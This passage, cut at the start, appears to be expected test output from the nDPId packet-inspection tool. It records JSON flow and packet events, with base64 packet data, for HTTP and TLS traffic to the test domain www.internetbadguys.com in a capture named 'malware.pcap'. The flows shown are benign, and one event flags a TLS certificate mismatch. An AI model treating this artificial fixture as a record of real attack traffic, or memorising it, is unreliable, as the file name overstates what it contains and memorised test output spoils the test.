{"proto":"ICMP","breed":"Acceptable","category":"Network"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4,"source":"malware.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1569571476362,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.7.7","dst_ip":"144.139.247.220","src_port":33706,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"malware.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569571476,"pkt_ts_usec":362891,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"CGoKOl4eMFLLbJwbCABFAAA0sPtAAEAGObHAqAcHkIv33IOqAFCfbfb4AAAAAIAC+vBQPgAAAgQFtAEBBAIBAwMH"} +00510{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5,"source":"malware.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1569571476362,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.7.7","dst_ip":"144.139.247.220","src_port":33706,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00473{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":5,"source":"malware.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1569571476362,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.7.7","dst_ip":"144.139.247.220","src_port":33706,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":5,"source":"malware.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1569571470672,"flow_last_seen":0,"flow_tot_l4_data_len":64,"flow_min_l4_data_len":64,"flow_max_l4_data_len":64,"flow_avg_l4_data_len":64,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.7.7","dst_ip":"144.139.247.220","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":5,"source":"malware.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":2,"flow_first_seen":1569571466977,"flow_last_seen":1569571467001,"flow_tot_l4_data_len":148,"flow_min_l4_data_len":72,"flow_max_l4_data_len":76,"flow_avg_l4_data_len":74,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.7.7","dst_ip":"1.1.1.1","src_port":42370,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5,"source":"malware.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1569579408876,"flow_last_seen":0,"flow_tot_l4_data_len":349,"flow_min_l4_data_len":349,"flow_max_l4_data_len":349,"flow_avg_l4_data_len":349,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.7.7","dst_ip":"67.215.92.210","src_port":48394,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00849{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"malware.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569579408,"pkt_ts_usec":876326,"pkt_caplen":383,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":383,"pkt_l4_len":349,"pkt":"CGoKOl4eMFLLbJwbCABFAAFxQQlAAEAGkCXAqAcHQ9dc0r0KAFDJvdSn63fGVVAYAfZpvAAAR0VUIC8gSFRUUC8xLjENCkhvc3Q6IHd3dy5pbnRlcm5ldGJhZGd1eXMuY29tDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBydjo2OC4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzY4LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkROVDogMQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KVXBncmFkZS1JbnNlY3VyZS1SZXF1ZXN0czogMQ0KDQo="} +00703{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":5,"source":"malware.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1569579408876,"flow_last_seen":0,"flow_tot_l4_data_len":349,"flow_min_l4_data_len":349,"flow_max_l4_data_len":349,"flow_avg_l4_data_len":349,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.7.7","dst_ip":"67.215.92.210","src_port":48394,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.OpenDNS","breed":"Acceptable","category":"Web"},"http": {"hostname":"www.internetbadguys.com","url":"www.internetbadguys.com\/","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (Windows NT 10.0; rv:68.0) Gecko\/20100101 Firefox\/68.0"}} +00466{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"malware.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569579409,"pkt_ts_usec":87861,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"MFLLbJwbCGoKOl4eCABFAABUIjBAADgGuBtD11zSwKgHBwBQvQrrd8wJyb3V8FAYAO11CAAALDXKuXRPxt9F45TTtQ17T177PqBz\/8Tm+6YgbZe0R+XFq38BUlr3UR8MAAA="} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7,"source":"malware.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1569579416636,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.7.7","dst_ip":"67.215.92.210","src_port":35236,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"malware.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569579416,"pkt_ts_usec":636584,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"CGoKOl4eMFLLbJwbCABFAAA0xe5AAEAGDH3AqAcHQ9dc0omkAbvdSlrrAAAAAIAC+vBofwAAAgQFtAEBBAIBAwMH"} +00422{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"malware.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569579416,"pkt_ts_usec":828379,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"MFLLbJwbCGoKOl4eCABFAAA0AABAADgG2mtD11zSwKgHBwG7iaQdaco+3Upa7IASchDpWQAAAgQFtAEBBAIBAwMH"} +00406{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"malware.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569579416,"pkt_ts_usec":828406,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"CGoKOl4eMFLLbJwbCABFAAAoxe9AAEAGDIjAqAcHQ9dc0omkAbvdSlrsHWnKP1AQAfZocwAA"} +01103{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"malware.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569579416,"pkt_ts_usec":830077,"pkt_caplen":571,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":571,"pkt_l4_len":537,"pkt":"CGoKOl4eMFLLbJwbCABFAAItxfBAAEAGCoLAqAcHQ9dc0omkAbvdSlrsHWnKP1AYAfZqeAAAFgMBAgABAAH8AwNiGwz6Nx6gZEkQ5mHfc0bz9cG8Q1IQ44DgAeGoVKlHzyC81+PdFDLSNn+Pdda1KG5hVhfTFmh4W9u7vJ1FmUKJWAAkEwETAxMCwCvAL8ypzKjALMAwwArACcATwBQAMwA5AC8ANQAKAQABjwAAABwAGgAAF3d3dy5pbnRlcm5ldGJhZGd1eXMuY29tABcAAP8BAAEAAAoADgAMAB0AFwAYABkBAAEBAAsAAgEAACMAAAAQAA4ADAJoMghodHRwLzEuMQAFAAUBAAAAAAAzAGsAaQAdACCsOS9UcRaQolAvHH2lkEhvl6dNSVE29u8oKtYL+CH9BQAXAEEEoQXtl8vTSjgX92dpSeeQSX7Rmu4m1tT+guDWflQ+qUwx5JY0QUT2kxtvCYRY4\/6+TGd5ECmhJM43gC52CQwAHQArAAkIAwQDAwMCAwEADQAYABYEAwUDBgMIBAgFCAYEAQUBBgECAwIBAC0AAgEBABwAAkABABUAhwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00791{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":10,"source":"malware.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":4,"flow_first_seen":1569579416636,"flow_last_seen":1569579416830,"flow_tot_l4_data_len":621,"flow_min_l4_data_len":20,"flow_max_l4_data_len":537,"flow_avg_l4_data_len":155,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.7.7","dst_ip":"67.215.92.210","src_port":35236,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.OpenDNS","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.internetbadguys.com","ja3":"f6ce47303dce394049af395fc6d0bc20","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00415{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"malware.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569579417,"pkt_ts_usec":18328,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"MFLLbJwbCGoKOl4eCABFAAAoJgFAADgGtHZD11zSwKgHBwG7iaQdaco\/3Upc8VAQAO2ZSgAAAAAAAAAA"} +02366{"flow_id":5,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"malware.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569579417,"pkt_ts_usec":29746,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"MFLLbJwbCGoKOl4eCABFAAXcJgJAADgGrsFD11zSwKgHBwG7iaQdaco\/3Upc8VAQAO2JzQAAFgMDAEECAAA9AwOa8CbmIYLLORDT1HMzSXUr5DAbh3ZNL4mtllETBChcZwDALwAAFf8BAAEAAAsABAMAAQIAIwAAAAUAABYDAxBECwAQQAAQPQALnzCCC5swggqDoAMCAQICEA2S4SYiNapCCj9kLK8AtiMwDQYJKoZIhvcNAQELBQAwTTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEnMCUGA1UEAxMeRGlnaUNlcnQgU0hBMiBTZWN1cmUgU2VydmVyIENBMB4XDTE4MDQyNjAwMDAwMFoXDTIwMDcyOTAwMDAwMFowbDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExFjAUBgNVBAcTDVNhbiBGcmFuY2lzY28xFjAUBgNVBAoTDU9wZW5ETlMsIEluYy4xGDAWBgNVBAMTD2FwaS5vcGVuZG5zLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANFe5RV9FWMejiuAedy83bKi99wc6eVJ9gxWHVD6DIdnVp8uJu7ko4lNWSZSHFA7ddiZBBCoaZ0q2DItmdSWkLGzkVlKrtTmyErtja60BY0ZShOkFIw4L9o4rMYKFDihhYnoFEJoVjoU8NowIlgdVzWiSPijrpLUVEh15+lcIXjOSdpUg4wicB+v9Ja2+ONWEmrQ40RRZIfXJ+sHQa\/E81Ei38tQouzBEuMG12jhf0ZPpeAJ\/AzHsvcJkWY2Ng\/DTELFAM7s8ey4ciWPIb+bg\/i4tG7s\/73JusB4AqcpVXmAIAkUIhHOZRyRa2DBGSaNMZin2Az4qz1PAxkYy+py2msCAwEAAaOCCFYwgghSMB8GA1UdIwQYMBaAFA+AYRyCMWHVLyjnjUY4tCzhxtniMB0GA1UdDgQWBBR7ONynPoW1tvxlGV7XqExiGFHreTCCBJ8GA1UdEQSCBJYwggSSgg9hcGkub3BlbmRucy5jb22CGWJyYW5kZWQtbG9naW4ub3BlbmRucy5jb22CFmNhY2hlY2hlY2sub3BlbmRucy5jb22CFWNvbW11bml0eS5vcGVuZG5zLmNvbYIWZGFzaGJvYXJkMi5vcGVuZG5zLmNvbYIVZGFzaGJvYXJkLm9wZW5kbnMuY29tghpkYXNoYm9hcmQtaXB2NC5vcGVuZG5zLmNvbYIVbXNwLWxvZ2luLm9wZW5kbnMuY29tghRhcGktaXB2NC5vcGVuZG5zLmNvbYIUYXBpLWlwdjYub3BlbmRucy5jb22CFWF1dGh6LmFwaS5vcGVuZG5zLmNvbYISZG9tYWluLm9wZW5kbnMuY29tghRoZWxwLnZwbi5vcGVuZG5zLmNvbYIUaWRlYWJhbmsub3BlbmRucy5jb22CEWxvZ2luLm9wZW5kbnMuY29tghNuZXRnZWFyLm9wZW5kbnMuY29tghpyZXNlbGxlci1sb2dpbi5vcGVuZG5zLmNvbYISaW1hZ2VzLm9wZW5kbnMuY29tghhpbWFnZXMtdXNpbmcub3BlbmRucy5jb22CEXN0b3JlLm9wZW5kbnMuY29tghJzaWdudXAub3BlbmRucy5jb22CEnR3aWxpby5vcGVuZG5zLmNvbYITdXBkYXRlcy5vcGVuZG5zLmNvbYISc2hhcmVkLm9wZW5kbnMuY29tghF0b29scy5vcGVuZG5zLmNvbYIRY2FjaGUub3BlbmRucy5jb22CEGFwaS51bWJyZWxsYS5jb22CGmJyYW5kZWQtbG9naW4udW1icmVsbGEuY29tghdjYWNoZWNoZWNrLnVtYnJlbGxhLmNvbYIWY29tbXVuaXR5LnVtYnJlbGxhLmNvbYIXZGFzaGJvYXJkMi51bWJyZWxsYS5jb22CFmRhc2hib2FyZC51bWJyZWxsYS5jb22CG2Rhc2hib2E="} +00847{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":12,"source":"malware.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":6,"flow_first_seen":1569579416636,"flow_last_seen":1569579417029,"flow_tot_l4_data_len":2121,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":353,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.7.7","dst_ip":"67.215.92.210","src_port":35236,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.OpenDNS","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.internetbadguys.com","ja3":"f6ce47303dce394049af395fc6d0bc20","ja3s":"0c0aff9ccea5e7e1de5c3a0069d103f3","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00406{"flow_id":5,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"malware.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569579417,"pkt_ts_usec":29778,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"CGoKOl4eMFLLbJwbCABFAAAoxfFAAEAGDIbAqAcHQ9dc0omkAbvdSlzxHWnP81AQAfVocwAA"} +02380{"flow_id":5,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"malware.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569579417,"pkt_ts_usec":29821,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"MFLLbJwbCGoKOl4eCABFAAXcJgNAADgGrsBD11zSwKgHBwG7iaQdac\/z3Upc8VAQAO0lMgAAcmQtaXB2NC51bWJyZWxsYS5jb22CFm1zcC1sb2dpbi51bWJyZWxsYS5jb22CFWFwaS1pcHY0LnVtYnJlbGxhLmNvbYIVYXBpLWlwdjYudW1icmVsbGEuY29tghZhdXRoei5hcGkudW1icmVsbGEuY29tghNkb21haW4udW1icmVsbGEuY29tghVoZWxwLnZwbi51bWJyZWxsYS5jb22CFWlkZWFiYW5rLnVtYnJlbGxhLmNvbYISbG9naW4udW1icmVsbGEuY29tghRuZXRnZWFyLnVtYnJlbGxhLmNvbYIbcmVzZWxsZXItbG9naW4udW1icmVsbGEuY29tghNpbWFnZXMudW1icmVsbGEuY29tghlpbWFnZXMtdXNpbmcudW1icmVsbGEuY29tghJzdG9yZS51bWJyZWxsYS5jb22CE3NpZ251cC51bWJyZWxsYS5jb22CE3R3aWxpby51bWJyZWxsYS5jb22CFHVwZGF0ZXMudW1icmVsbGEuY29tghNzaGFyZWQudW1icmVsbGEuY29tghJ0b29scy51bWJyZWxsYS5jb22CEmNhY2hlLnVtYnJlbGxhLmNvbTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMGsGA1UdHwRkMGIwL6AtoCuGKWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zc2NhLXNoYTItZzYuY3JsMC+gLaArhilodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vc3NjYS1zaGEyLWc2LmNybDBMBgNVHSAERTBDMDcGCWCGSAGG\/WwBATAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMAgGBmeBDAECAjB8BggrBgEFBQcBAQRwMG4wJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBGBggrBgEFBQcwAoY6aHR0cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0U0hBMlNlY3VyZVNlcnZlckNBLmNydDAMBgNVHRMBAf8EAjAAMIIB9QYKKwYBBAHWeQIEAgSCAeUEggHhAd8AdQCkuQmQtBhYFIe7E6LMZ3AKPDWYBPkb37jjd80OyA3cEAAAAWMDXchzAAAEAwBGMEQCIFTwPSzquKFW5HUiYU\/zIQQmF\/0KBNbLEXmO85TgdtvgAiBfwZ3J3Dx8uTYNM0iOZnheXqrrgpCH+en\/keS7Yyf9KgB2AG9Tdqwx8DEZ2JkApFEV\/3cVHBHZAsEAKQaNsgiaN9kTAAABYwNdyhYAAAQDAEcwRQIhAP63AMWZiylpR0M0FjgAyqMe\/47i75E1\/S\/+0HOB2NjRAiBXMuVKKA3CIs0v+Fcmw5Zz\/6wZB1noI8dI6HMBp3SfqwB2ALvZ37wfinG1k5Qjl6qSe0c4V5UKq1LoGpCWZDaOHtGFAAABYwNdyTEAAAQDAEcwRQIhAL5iHDu\/wdgrlFN\/zFT9bEw9r6A790WGiSil4WTCVmMcAiBtjip5jRY9gF2T6URXMwNqAdeBp85T99iwK54Gbt9UawB2AFWB1MIWkDYBSuoLm1c8U\/DA5Dh4cCUIFy+jqh0HE9MMAAABYwNdy7cAAAQDAEcwRQIhAL0UgBpmLeXFVE50bIiMURcQnPF3CoOjw9SBs3\/C8fLjAiBjLnb\/fOEZz9WEQh1+78qFXx6KbWaNsClMaCQYoJPctDANBgkqhkiG9w0BAQsFAAOCAQEAMbeQT2gSGbVn\/wOJr1qt3QTHlj0vxjVefxCUz4xqMfjpsq5tPx29LFoKI8jsKX21paTfpgO0Y\/Xl4Op\/f\/WT4ghx2lE3CeIpkDlXLQATo0I+JWSgTHAArpnlVdWj7o0H8Egd\/GuA965Yv9qNv2FebG4mGH8="} +00406{"flow_id":5,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"malware.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569579417,"pkt_ts_usec":29833,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"CGoKOl4eMFLLbJwbCABFAAAoxfJAAEAGDIXAqAcHQ9dc0omkAbvdSlzxHWnVp1AQAe1ocwAA"} +02381{"flow_id":5,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"malware.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569579417,"pkt_ts_usec":30048,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"MFLLbJwbCGoKOl4eCABFAAXcJgRAADgGrr9D11zSwKgHBwG7iaQdadWn3Upc8VAQAO1JHAAARNk9pfZV7I9ElU6SgJxcRHIV94DjSSsWF9RsD5dj1oIWxXbkhtWnQPBZy1BIcYZnDWsisnzgGQ22qgarCJE\/kOuiC\/5jBgh1Q4zfFZk+fnJNhdRb5ktR\/b2Ak6V+ZhvK6coJ4A7Pg8iMpArwd99hSOWOTf45CCKbOkpX2VPk+Bxw1a7nHUsrEsR\/OXsABJgwggSUMIIDfKADAgECAhAB\/aPrbsp1yIhDi3JLz7yRMA0GCSqGSIb3DQEBCwUAMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMB4XDTEzMDMwODEyMDAwMFoXDTIzMDMwODEyMDAwMFowTTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEnMCUGA1UEAxMeRGlnaUNlcnQgU0hBMiBTZWN1cmUgU2VydmVyIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3K5YkE3BxDAVkDVbbjyCFfUsXL3j2\/9xQ\/pkJYDU7hiiTfBm0ApzbhGYNhdkrzed\/fpBhK\/Hr4z+GnNNzzOXkKKWh1ODK7mmdUgtHVY3e9oxMhrXrKsG9KpdS7dHRt0qk8OQLnmAgO8TBGoUO7Wbkr7CB2VO\/Nr8\/3qu3Fx+VTEM6DkHpNe+L9MLatKx31\/+V3RTOzWA3a6ORJiznw7T2uDX9Gspq0SnS1iEbZJLgcPac4sSl0iQBEV1Gt03MZeS6M1UDTvkwT85Xi6481x+EI6GQQCNRWZHsKFlzqCqKQlO85fr6C6rD3KnMA76x\/T9FHfDpFsoV8Kz+YL9t0VYmwIDAQABo4IBWjCCAVYwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAYYwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wewYDVR0fBHQwcjA3oDWgM4YxaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0R2xvYmFsUm9vdENBLmNybDA3oDWgM4YxaHR0cDovL2NybDQuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0R2xvYmFsUm9vdENBLmNybDA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAdBgNVHQ4EFgQUD4BhHIIxYdUvKOeNRji0LOHG2eIwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUwDQYJKoZIhvcNAQELBQADggEBACM+30vSMUKltn5CXBpEzGnRaLRdS+AEIWxL4m3MseCXj6ZTCc2qKmXlOU8eg6VuXJiiJCbm+6Htk8cuAsZNSr+wQt942rOo+W3\/IYVTNmBMds7sONzWUYDwxdbl1E0nZKubxz5x+0iXuDNtyRMH7paiGxgV9lxMQO2zwuz\/ccHjR\/\/UuQC0N0LaIMnqboruFAaufaJZmIioG28t9PLJFF8mzyyNfu03wKnVObmCvxkM6jSvACFo+K1z4sky2jglC1XTmh3waIbtLkE073ylUB2\/OvnTwQgM5u0eilgl5Lh3rS1u9VLdtHSPq0kunTuTNCgfeM6U6se908ltHN5cMvMWAwMB3xYAAdsBAAHXMIIB0woBAKCCAcwwggHIBgkrBgEFBQcwAQEEggG5MIIBtTCBnqIWBBQPgGEcgjFh1S8o541GOLQs4cbZ4hgPMjAxOTA5MjcwMTQ5MjFaMHMwcTBJMAkGBSsOAwIaBQAEFBBfpnqACJ21J581zoMLQ4ieo8cNBBQPgGEcgjFh1S8="} +02266{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":16,"source":"malware.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":10,"flow_first_seen":1569579416636,"flow_last_seen":1569579417030,"flow_tot_l4_data_len":5121,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":512,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.7.7","dst_ip":"67.215.92.210","src_port":35236,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"10":"TLS Certificate Mismatch"},"proto":"TLS.OpenDNS","breed":"Acceptable","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.internetbadguys.com","server_names":"api.opendns.com,branded-login.opendns.com,cachecheck.opendns.com,community.opendns.com,dashboard2.opendns.com,dashboard.opendns.com,dashboard-ipv4.opendns.com,msp-login.opendns.com,api-ipv4.opendns.com,api-ipv6.opendns.com,authz.api.opendns.com,domain.opendns.com,help.vpn.opendns.com,ideabank.opendns.com,login.opendns.com,netgear.opendns.com,reseller-login.opendns.com,images.opendns.com,images-using.opendns.com,store.opendns.com,signup.opendns.com,twilio.opendns.com,updates.opendns.com,shared.opendns.com,tools.opendns.com,cache.opendns.com,api.umbrella.com,branded-login.umbrella.com,cachecheck.umbrella.com,community.umbrella.com,dashboard2.umbrella.com,dashboard.umbrella.com,dashboard-ipv4.umbrella.com,msp-login.umbrella.com,api-ipv4.umbrella.com,api-ipv6.umbrella.com,authz.api.umbrella.com,domain.umbrella.com,help.vpn.umbrella.com,ideabank.umbrella.com,login.umbrella.com,netgear.umbrella.com,reseller-login.umbrella.com,images.umbrella.com,images-using.umbrella.com,store.umbrella.com,signup.umbrella.com,twilio.umbrella.com,updates.umbrella.com,shared.umbrella.com,tools.umbrella.com,cache.umbrella.com","ja3":"f6ce47303dce394049af395fc6d0bc20","ja3s":"0c0aff9ccea5e7e1de5c3a0069d103f3","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, CN=DigiCert SHA2 Secure Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=OpenDNS, Inc., CN=api.opendns.com","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"21:B4:CF:84:13:3A:21:A4:B0:02:63:76:39:84:EA:ED:27:EE:51:7C"}} 